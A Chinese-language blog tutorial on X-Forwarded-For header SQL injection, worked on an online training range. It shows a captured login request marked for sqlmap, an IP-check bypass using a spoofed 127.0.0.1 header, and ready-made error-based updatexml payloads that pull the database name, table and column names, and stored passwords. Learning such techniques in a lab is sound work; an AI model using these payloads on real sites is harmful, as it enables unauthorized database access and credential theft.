0x00:XFF是什么?
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x01:XFF注入
XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。
0x02:练习一
在墨者学院靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1
 
username=admin&password=admin
0x03 sqlmap
sqlmap
手动添加X-Forwarded-for: *
使用sqlmap即可跑出。
注意点:在XFF后面添加*能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
 
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?

如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。

0x04手工注入

手动报错注入,填写格式如:X-Forwarded-For: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
当前使用数据库名
1' and updatexml(1,concat(0x7e,database(),0x7e),1), '

表名

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), '
字段/列名
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='logins' limit 0,1),0x7e),1)), '
具体内容
1' and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), '

最新文章

  1. 同时打开两个excel工作窗口
  2. SQLite3的基本使用
  3. 大家一起写mvc(三)_结束
  4. ES6 — 数组Array
  5. android 底部tabview模板
  6. 链接器工具错误 LNK2011
  7. 九度OJ 1085 求root(N, k) -- 二分求幂及快速幂取模
  8. SecureCRT如何设置字符编码和外观?
  9. TransactionScope的正确用法(转自:http://blog.csdn.net/greystar/article/details/1359960)
  10. Demo+在Linux下运行(CentOS7+dotnetcore sdk)
  11. Z-Stack协议中几个重要概念的理解
  12. 移动端Web界面滚动touch事件
  13. Zedboard初体验
  14. [Hibernate] One-To-Many 配置文件和注解的方式以及HQL语句
  15. vue 起步
  16. Passenger简介
  17. python webdriver 从无到有搭建混合驱动自动化测试框架的过程和总结
  18. Android之MVP模式实现登录和网络数据加载
  19. Framework 7 之 Smart select 选择后自动隐藏
  20. (转)Spring AOP编程原理、Demo

热门文章

  1. 在函数中设置input的multiple属性以及input的点击事件时,设置失效
  2. three.js一步一步来--如何用线画出一个面--网格板子
  3. 浅谈浏览器端 WebGIS 开发可能会用到的、提升效率的 js 库
  4. 【LeetCode】三数之和+四数之和(双指针)
  5. C# 处理实体类赋值(获取嵌套类型,支持list 自定义类型)
  6. JAVA虚拟机15---虚拟机的类加载机制
  7. vscode安装教程(含插件配置)
  8. 网关与网络地址(网络号)以及IP地址、广播地址
  9. map方法整理数据,接口返回值进行处理
  10. Android:Activity